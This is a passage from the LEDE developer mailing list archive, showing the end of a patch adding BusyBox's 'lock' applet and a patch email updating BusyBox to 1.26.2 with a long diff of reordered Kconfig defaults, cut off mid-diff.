- IF_LOAD_POLICY(APPLET(load_policy, BB_DIR_USR_SBIN, BB_SUID_DROP))
- IF_LOADFONT(APPLET(loadfont, BB_DIR_USR_SBIN, BB_SUID_DROP))
- IF_LOADKMAP(APPLET(loadkmap, BB_DIR_SBIN, BB_SUID_DROP))
-+IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
- IF_LOGNAME(APPLET_NOFORK(logname, logname, BB_DIR_USR_BIN, BB_SUID_DROP, logname))
- IF_LOSETUP(APPLET(losetup, BB_DIR_SBIN, BB_SUID_DROP))
- IF_LS(APPLET_NOEXEC(ls, ls, BB_DIR_BIN, BB_SUID_DROP, ls))
---- a/miscutils/Config.src
-+++ b/miscutils/Config.src
-@@ -375,6 +375,12 @@ config FEATURE_HDPARM_HDIO_GETSET_DMA
- 	help
- 	  Enables the 'hdparm -d' option to get/set using_dma flag.
- 
-+config LOCK
-+	bool "lock"
-+	default n
-+	help
-+	  Small utility for using locks in scripts
-+
- config MAKEDEVS
- 	bool "makedevs"
- 	default y
---- a/miscutils/Kbuild.src
-+++ b/miscutils/Kbuild.src
-@@ -33,6 +33,7 @@ lib-$(CONFIG_LAST)        += last.o
- endif
- 
- lib-$(CONFIG_LESS)        += less.o
-+lib-$(CONFIG_LOCK)        += lock.o
- lib-$(CONFIG_MAKEDEVS)    += makedevs.o
- lib-$(CONFIG_MAN)         += man.o
- lib-$(CONFIG_MICROCOM)    += microcom.o
 --- /dev/null
 +++ b/miscutils/lock.c
-@@ -0,0 +1,144 @@
+@@ -0,0 +1,155 @@
 +/*
 + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
 + *
 + * This is free software, licensed under the GNU General Public License v2.
 + */
++
++//config:config LOCK
++//config:	bool "lock"
++//config:	default n
++//config:	help
++//config:	  Small utility for using locks in scripts
++
++//applet:IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
++
++//kbuild:lib-$(CONFIG_LOCK) += lock.o
++
++//usage:#define lock_trivial_usage NOUSAGE_STR
++//usage:#define lock_full_usage ""
++
 +#include <sys/types.h>
 +#include <sys/file.h>
 +#include <sys/stat.h>
@@ -50,9 +29,6 @@
 +#include <stdio.h>
 +#include "busybox.h"
 +
-+//usage:#define lock_trivial_usage NOUSAGE_STR
-+//usage:#define lock_full_usage ""
-+
 +static int unlock = 0;
 +static int shared = 0;
 +static int waitonly = 0;
-- 
2.1.4



From mkroken at gmail.com  Sat Jan 14 17:21:41 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sun, 15 Jan 2017 02:21:41 +0100
Subject: [LEDE-DEV] [PATCH v2 2/2] busybox: update to 1.26.2
In-Reply-To: <1484443301-6252-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-1-git-send-email-mkroken@gmail.com>
Message-ID: <1484443301-6252-2-git-send-email-mkroken@gmail.com>

Refresh patches, delete patches that have been applied upstream.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
v2: Bump to 1.26.2

Note: Only PKG_VERSION and PKG_HASH were changed between BusyBox 1.26.1 and 1.26.2.
No other files needed updates between this and my previous patch from January 4th.
Koen Vandeputte reported the 1.26.1 patch to work, a user on the forums also used
the patch series successfully [1].

Not sure if merging this so soon before branching for release is sensible, but as I
didn't receive any further feedback on the previous series I update the series.

[1] https://forum.lede-project.org/t/busybox-upgrade-issue/680

 package/utils/busybox/Config-defaults.in           | 1229 ++++++++++----------
 package/utils/busybox/Makefile                     |    6 +-
 package/utils/busybox/config/Config.in             |  315 ++---
 package/utils/busybox/config/archival/Config.in    |   78 +-
 .../utils/busybox/config/console-tools/Config.in   |  103 +-
 package/utils/busybox/config/coreutils/Config.in   |  603 +++++-----
 package/utils/busybox/config/findutils/Config.in   |   24 +-
 package/utils/busybox/config/init/Config.in        |   20 +-
 package/utils/busybox/config/libbb/Config.in       |  162 +++
 package/utils/busybox/config/mailutils/Config.in   |   18 +-
 package/utils/busybox/config/miscutils/Config.in   |  615 +++++-----
 package/utils/busybox/config/modutils/Config.in    |   73 +-
 package/utils/busybox/config/networking/Config.in  |  643 +++++-----
 .../busybox/config/networking/udhcp/Config.in      |    2 -
 package/utils/busybox/config/procps/Config.in      |  264 ++---
 package/utils/busybox/config/runit/Config.in       |    7 +
 package/utils/busybox/config/selinux/Config.in     |   37 +-
 package/utils/busybox/config/shell/Config.in       |  234 ++--
 package/utils/busybox/config/sysklogd/Config.in    |    1 -
 package/utils/busybox/config/util-linux/Config.in  |  598 +++++-----
 .../busybox/config/util-linux/volume_id/Config.in  |    9 +
 ...to_from-do-not-require-that-to-should-hav.patch |   37 -
 .../busybox/patches/102-trylink_mktemp_fix.patch   |   20 -
 .../patches/120-remove_uclibc_rpc_check.patch      |    2 +-
 .../busybox/patches/200-udhcpc_reduce_msgs.patch   |    4 +-
 .../patches/201-udhcpc_changed_ifindex.patch       |    2 +-
 .../patches/203-udhcpc_renew_no_deconfig.patch     |    2 +-
 .../utils/busybox/patches/240-telnetd_intr.patch   |    2 +-
 .../utils/busybox/patches/250-date-k-flag.patch    |   12 +-
 .../busybox/patches/302-netlink-alignment.patch    |  100 --
 .../patches/303-ip-route-fix-high-table-ids.patch  |  486 --------
 31 files changed, 2479 insertions(+), 3229 deletions(-)
 delete mode 100644 package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
 delete mode 100644 package/utils/busybox/patches/102-trylink_mktemp_fix.patch
 delete mode 100644 package/utils/busybox/patches/302-netlink-alignment.patch
 delete mode 100644 package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch

diff --git a/package/utils/busybox/Config-defaults.in b/package/utils/busybox/Config-defaults.in
index 11cce03..3a52211 100644
--- a/package/utils/busybox/Config-defaults.in
+++ b/package/utils/busybox/Config-defaults.in
@@ -16,15 +16,6 @@ config BUSYBOX_DEFAULT_USE_PORTABLE_CODE
 config BUSYBOX_DEFAULT_PLATFORM_LINUX
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
-	bool
-	default n
 config BUSYBOX_DEFAULT_SHOW_USAGE
 	bool
 	default y
@@ -43,45 +34,9 @@ config BUSYBOX_DEFAULT_FEATURE_INSTALLER
 config BUSYBOX_DEFAULT_INSTALL_NO_USR
 	bool
 	default n
-config BUSYBOX_DEFAULT_LOCALE_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
-	bool
-	default n
-config BUSYBOX_DEFAULT_SUBST_WCHAR
-	int
-	default 0
-config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
-	int
-	default 0
-config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
-	bool
-	default n
 config BUSYBOX_DEFAULT_PAM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
-	bool
-	default n
 config BUSYBOX_DEFAULT_LONG_OPTS
 	bool
 	default y
@@ -163,6 +118,30 @@ config BUSYBOX_DEFAULT_EXTRA_LDFLAGS
 config BUSYBOX_DEFAULT_EXTRA_LDLIBS
 	string
 	default ""
+config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
+	bool
+	default y
+config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+	bool
+	default n
+config BUSYBOX_DEFAULT_PREFIX
+	string
+	default "./_install"
 config BUSYBOX_DEFAULT_DEBUG
 	bool
 	default n
@@ -187,34 +166,19 @@ config BUSYBOX_DEFAULT_DMALLOC
 config BUSYBOX_DEFAULT_EFENCE
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
-	bool
-	default y
-config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
+config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
+config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
 	bool
 	default n
-config BUSYBOX_DEFAULT_PREFIX
-	string
-	default "./_install"
-config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
+	default y
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
 	bool
 	default n
 config BUSYBOX_DEFAULT_PASSWORD_MINLEN
@@ -268,12 +232,48 @@ config BUSYBOX_DEFAULT_FEATURE_EDITING_FANCY_PROMPT
 config BUSYBOX_DEFAULT_FEATURE_EDITING_ASK_TERMINAL
 	bool
 	default n
+config BUSYBOX_DEFAULT_LOCALE_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
+	bool
+	default n
+config BUSYBOX_DEFAULT_SUBST_WCHAR
+	int
+	default 0
+config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
+	int
+	default 0
+config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_VERBOSE_CP_MESSAGE
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_COPYBUF_KB
 	int
 	default 4
@@ -319,24 +319,36 @@ config BUSYBOX_DEFAULT_UNCOMPRESS
 config BUSYBOX_DEFAULT_GUNZIP
 	bool
 	default y
+config BUSYBOX_DEFAULT_ZCAT
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
 	bool
 	default n
 config BUSYBOX_DEFAULT_BUNZIP2
 	bool
 	default y
+config BUSYBOX_DEFAULT_BZCAT
+	bool
+	default y
 config BUSYBOX_DEFAULT_UNLZMA
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+config BUSYBOX_DEFAULT_LZCAT
 	bool
 	default n
 config BUSYBOX_DEFAULT_LZMA
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+	bool
+	default n
 config BUSYBOX_DEFAULT_UNXZ
 	bool
 	default n
+config BUSYBOX_DEFAULT_XZCAT
+	bool
+	default n
 config BUSYBOX_DEFAULT_XZ
 	bool
 	default n
@@ -358,9 +370,6 @@ config BUSYBOX_DEFAULT_DPKG
 config BUSYBOX_DEFAULT_DPKG_DEB
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	bool
-	default n
 config BUSYBOX_DEFAULT_GZIP
 	bool
 	default y
@@ -376,6 +385,12 @@ config BUSYBOX_DEFAULT_FEATURE_GZIP_LEVELS
 config BUSYBOX_DEFAULT_LZOP
 	bool
 	default n
+config BUSYBOX_DEFAULT_UNLZOP
+	bool
+	default n
+config BUSYBOX_DEFAULT_LZOPCAT
+	bool
+	default n
 config BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
 	bool
 	default n
@@ -427,9 +442,45 @@ config BUSYBOX_DEFAULT_UNZIP
 config BUSYBOX_DEFAULT_BASENAME
 	bool
 	default y
+config BUSYBOX_DEFAULT_CAL
+	bool
+	default n
 config BUSYBOX_DEFAULT_CAT
 	bool
 	default y
+config BUSYBOX_DEFAULT_CATV
+	bool
+	default n
+config BUSYBOX_DEFAULT_CHGRP
+	bool
+	default y
+config BUSYBOX_DEFAULT_CHMOD
+	bool
+	default y
+config BUSYBOX_DEFAULT_CHOWN
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_CHROOT
+	bool
+	default y
+config BUSYBOX_DEFAULT_CKSUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_COMM
+	bool
+	default n
+config BUSYBOX_DEFAULT_CP
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_CUT
+	bool
+	default y
 config BUSYBOX_DEFAULT_DATE
 	bool
 	default y
@@ -457,168 +508,81 @@ config BUSYBOX_DEFAULT_FEATURE_DD_IBS_OBS
 config BUSYBOX_DEFAULT_FEATURE_DD_STATUS
 	bool
 	default n
-config BUSYBOX_DEFAULT_HOSTID
-	bool
-	default n
-config BUSYBOX_DEFAULT_ID
+config BUSYBOX_DEFAULT_DF
 	bool
 	default y
-config BUSYBOX_DEFAULT_GROUPS
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHUF
-	bool
-	default n
-config BUSYBOX_DEFAULT_STAT
+config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+config BUSYBOX_DEFAULT_DIRNAME
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	default y
+config BUSYBOX_DEFAULT_DOS2UNIX
 	bool
 	default n
-config BUSYBOX_DEFAULT_SYNC
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+config BUSYBOX_DEFAULT_UNIX2DOS
 	bool
 	default n
-config BUSYBOX_DEFAULT_TEST
+config BUSYBOX_DEFAULT_DU
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TEST_64
+config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
 	bool
 	default y
-config BUSYBOX_DEFAULT_TOUCH
+config BUSYBOX_DEFAULT_ECHO
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
 	bool
 	default y
-config BUSYBOX_DEFAULT_TR
+config BUSYBOX_DEFAULT_ENV
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+config BUSYBOX_DEFAULT_EXPAND
 	bool
 	default n
-config BUSYBOX_DEFAULT_TRUNCATE
+config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_UNLINK
+config BUSYBOX_DEFAULT_UNEXPAND
 	bool
 	default n
-config BUSYBOX_DEFAULT_BASE64
+config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_WHO
+config BUSYBOX_DEFAULT_EXPR
 	bool
-	default n
-config BUSYBOX_DEFAULT_USERS
+	default y
+config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
 	bool
-	default n
-config BUSYBOX_DEFAULT_CAL
+	default y
+config BUSYBOX_DEFAULT_FALSE
 	bool
-	default n
-config BUSYBOX_DEFAULT_CATV
+	default y
+config BUSYBOX_DEFAULT_FOLD
 	bool
 	default n
-config BUSYBOX_DEFAULT_CHGRP
+config BUSYBOX_DEFAULT_FSYNC
 	bool
 	default y
-config BUSYBOX_DEFAULT_CHMOD
+config BUSYBOX_DEFAULT_HEAD
 	bool
 	default y
-config BUSYBOX_DEFAULT_CHOWN
+config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+config BUSYBOX_DEFAULT_HOSTID
 	bool
 	default n
-config BUSYBOX_DEFAULT_CHROOT
+config BUSYBOX_DEFAULT_ID
 	bool
 	default y
-config BUSYBOX_DEFAULT_CKSUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_COMM
-	bool
-	default n
-config BUSYBOX_DEFAULT_CP
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_CUT
-	bool
-	default y
-config BUSYBOX_DEFAULT_DF
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
-	bool
-	default n
-config BUSYBOX_DEFAULT_DIRNAME
-	bool
-	default y
-config BUSYBOX_DEFAULT_DOS2UNIX
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNIX2DOS
-	bool
-	default n
-config BUSYBOX_DEFAULT_DU
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
-	bool
-	default y
-config BUSYBOX_DEFAULT_ECHO
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
-	bool
-	default y
-config BUSYBOX_DEFAULT_ENV
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_EXPAND
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_EXPR
-	bool
-	default y
-config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
-	bool
-	default y
-config BUSYBOX_DEFAULT_FALSE
-	bool
-	default y
-config BUSYBOX_DEFAULT_FOLD
+config BUSYBOX_DEFAULT_GROUPS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSYNC
-	bool
-	default y
-config BUSYBOX_DEFAULT_HEAD
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
-	bool
-	default y
 config BUSYBOX_DEFAULT_INSTALL
 	bool
 	default n
@@ -661,6 +625,21 @@ config BUSYBOX_DEFAULT_FEATURE_LS_COLOR_IS_DEFAULT
 config BUSYBOX_DEFAULT_MD5SUM
 	bool
 	default y
+config BUSYBOX_DEFAULT_SHA1SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_SHA256SUM
+	bool
+	default y
+config BUSYBOX_DEFAULT_SHA512SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_SHA3SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
+	bool
+	default y
 config BUSYBOX_DEFAULT_MKDIR
 	bool
 	default y
@@ -718,16 +697,7 @@ config BUSYBOX_DEFAULT_FEATURE_RMDIR_LONG_OPTIONS
 config BUSYBOX_DEFAULT_SEQ
 	bool
 	default y
-config BUSYBOX_DEFAULT_SHA1SUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHA256SUM
-	bool
-	default y
-config BUSYBOX_DEFAULT_SHA512SUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHA3SUM
+config BUSYBOX_DEFAULT_SHUF
 	bool
 	default n
 config BUSYBOX_DEFAULT_SLEEP
@@ -751,12 +721,27 @@ config BUSYBOX_DEFAULT_SPLIT
 config BUSYBOX_DEFAULT_FEATURE_SPLIT_FANCY
 	bool
 	default n
+config BUSYBOX_DEFAULT_STAT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	bool
+	default n
 config BUSYBOX_DEFAULT_STTY
 	bool
 	default n
 config BUSYBOX_DEFAULT_SUM
 	bool
 	default n
+config BUSYBOX_DEFAULT_SYNC
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+	bool
+	default n
 config BUSYBOX_DEFAULT_TAC
 	bool
 	default n
@@ -772,9 +757,42 @@ config BUSYBOX_DEFAULT_TEE
 config BUSYBOX_DEFAULT_FEATURE_TEE_USE_BLOCK_IO
 	bool
 	default y
+config BUSYBOX_DEFAULT_TEST
+	bool
+	default y
+config BUSYBOX_DEFAULT_TEST1
+	bool
+	default y
+config BUSYBOX_DEFAULT_TEST2
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TEST_64
+	bool
+	default y
+config BUSYBOX_DEFAULT_TOUCH
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+	bool
+	default y
+config BUSYBOX_DEFAULT_TR
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+	bool
+	default n
 config BUSYBOX_DEFAULT_TRUE
 	bool
 	default y
+config BUSYBOX_DEFAULT_TRUNCATE
+	bool
+	default n
 config BUSYBOX_DEFAULT_TTY
 	bool
 	default n
@@ -784,21 +802,21 @@ config BUSYBOX_DEFAULT_UNAME
 config BUSYBOX_DEFAULT_UNAME_OSNAME
 	string
 	default "GNU/Linux"
-config BUSYBOX_DEFAULT_UNEXPAND
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
-	bool
-	default n
 config BUSYBOX_DEFAULT_UNIQ
 	bool
 	default y
+config BUSYBOX_DEFAULT_UNLINK
+	bool
+	default n
 config BUSYBOX_DEFAULT_USLEEP
 	bool
 	default n
 config BUSYBOX_DEFAULT_UUDECODE
 	bool
 	default n
+config BUSYBOX_DEFAULT_BASE64
+	bool
+	default n
 config BUSYBOX_DEFAULT_UUENCODE
 	bool
 	default n
@@ -808,6 +826,12 @@ config BUSYBOX_DEFAULT_WC
 config BUSYBOX_DEFAULT_FEATURE_WC_LARGE
 	bool
 	default n
+config BUSYBOX_DEFAULT_WHO
+	bool
+	default n
+config BUSYBOX_DEFAULT_USERS
+	bool
+	default n
 config BUSYBOX_DEFAULT_WHOAMI
 	bool
 	default n
@@ -826,15 +850,9 @@ config BUSYBOX_DEFAULT_FEATURE_AUTOWIDTH
 config BUSYBOX_DEFAULT_FEATURE_HUMAN_READABLE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
-	bool
-	default y
 config BUSYBOX_DEFAULT_CHVT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FGCONSOLE
-	bool
-	default n
 config BUSYBOX_DEFAULT_CLEAR
 	bool
 	default y
@@ -844,12 +862,30 @@ config BUSYBOX_DEFAULT_DEALLOCVT
 config BUSYBOX_DEFAULT_DUMPKMAP
 	bool
 	default n
+config BUSYBOX_DEFAULT_FGCONSOLE
+	bool
+	default n
 config BUSYBOX_DEFAULT_KBD_MODE
 	bool
 	default n
 config BUSYBOX_DEFAULT_LOADFONT
 	bool
 	default n
+config BUSYBOX_DEFAULT_SETFONT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
+	bool
+	default n
+config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
+	string
+	default ""
+config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
+	bool
+	default n
 config BUSYBOX_DEFAULT_LOADKMAP
 	bool
 	default n
@@ -871,15 +907,6 @@ config BUSYBOX_DEFAULT_SETCONSOLE
 config BUSYBOX_DEFAULT_FEATURE_SETCONSOLE_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETFONT
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
-	bool
-	default n
-config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
-	string
-	default ""
 config BUSYBOX_DEFAULT_SETKEYCODES
 	bool
 	default n
@@ -889,12 +916,6 @@ config BUSYBOX_DEFAULT_SETLOGCONS
 config BUSYBOX_DEFAULT_SHOWKEY
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
-	bool
-	default n
 config BUSYBOX_DEFAULT_MKTEMP
 	bool
 	default y
@@ -1081,10 +1102,10 @@ config BUSYBOX_DEFAULT_FEATURE_FIND_LINKS
 config BUSYBOX_DEFAULT_GREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
+config BUSYBOX_DEFAULT_EGREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
+config BUSYBOX_DEFAULT_FGREP
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
@@ -1120,6 +1141,12 @@ config BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_CONFIG_FILE
 config BUSYBOX_DEFAULT_HALT
 	bool
 	default y
+config BUSYBOX_DEFAULT_POWEROFF
+	bool
+	default y
+config BUSYBOX_DEFAULT_REBOOT
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
 	bool
 	default n
@@ -1285,28 +1312,28 @@ config BUSYBOX_DEFAULT_LSATTR
 config BUSYBOX_DEFAULT_TUNE2FS
 	bool
 	default n
-config BUSYBOX_DEFAULT_MODINFO
+config BUSYBOX_DEFAULT_MODPROBE_SMALL
 	bool
 	default n
-config BUSYBOX_DEFAULT_MODPROBE_SMALL
+config BUSYBOX_DEFAULT_DEPMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+config BUSYBOX_DEFAULT_INSMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+config BUSYBOX_DEFAULT_LSMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSMOD
+config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
 	bool
 	default n
-config BUSYBOX_DEFAULT_RMMOD
+config BUSYBOX_DEFAULT_MODINFO
 	bool
 	default n
-config BUSYBOX_DEFAULT_LSMOD
+config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
+config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
 	bool
 	default n
 config BUSYBOX_DEFAULT_MODPROBE
@@ -1315,7 +1342,7 @@ config BUSYBOX_DEFAULT_MODPROBE
 config BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
 	bool
 	default n
-config BUSYBOX_DEFAULT_DEPMOD
+config BUSYBOX_DEFAULT_RMMOD
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_2_4_MODULES
@@ -1354,154 +1381,148 @@ config BUSYBOX_DEFAULT_DEFAULT_MODULES_DIR
 config BUSYBOX_DEFAULT_DEFAULT_DEPMOD_FILE
 	string
 	default ""
-config BUSYBOX_DEFAULT_BLKDISCARD
+config BUSYBOX_DEFAULT_ACPID
 	bool
 	default n
-config BUSYBOX_DEFAULT_BLOCKDEV
+config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FATATTR
+config BUSYBOX_DEFAULT_BLKDISCARD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSTRIM
+config BUSYBOX_DEFAULT_BLKID
 	bool
 	default n
-config BUSYBOX_DEFAULT_MDEV
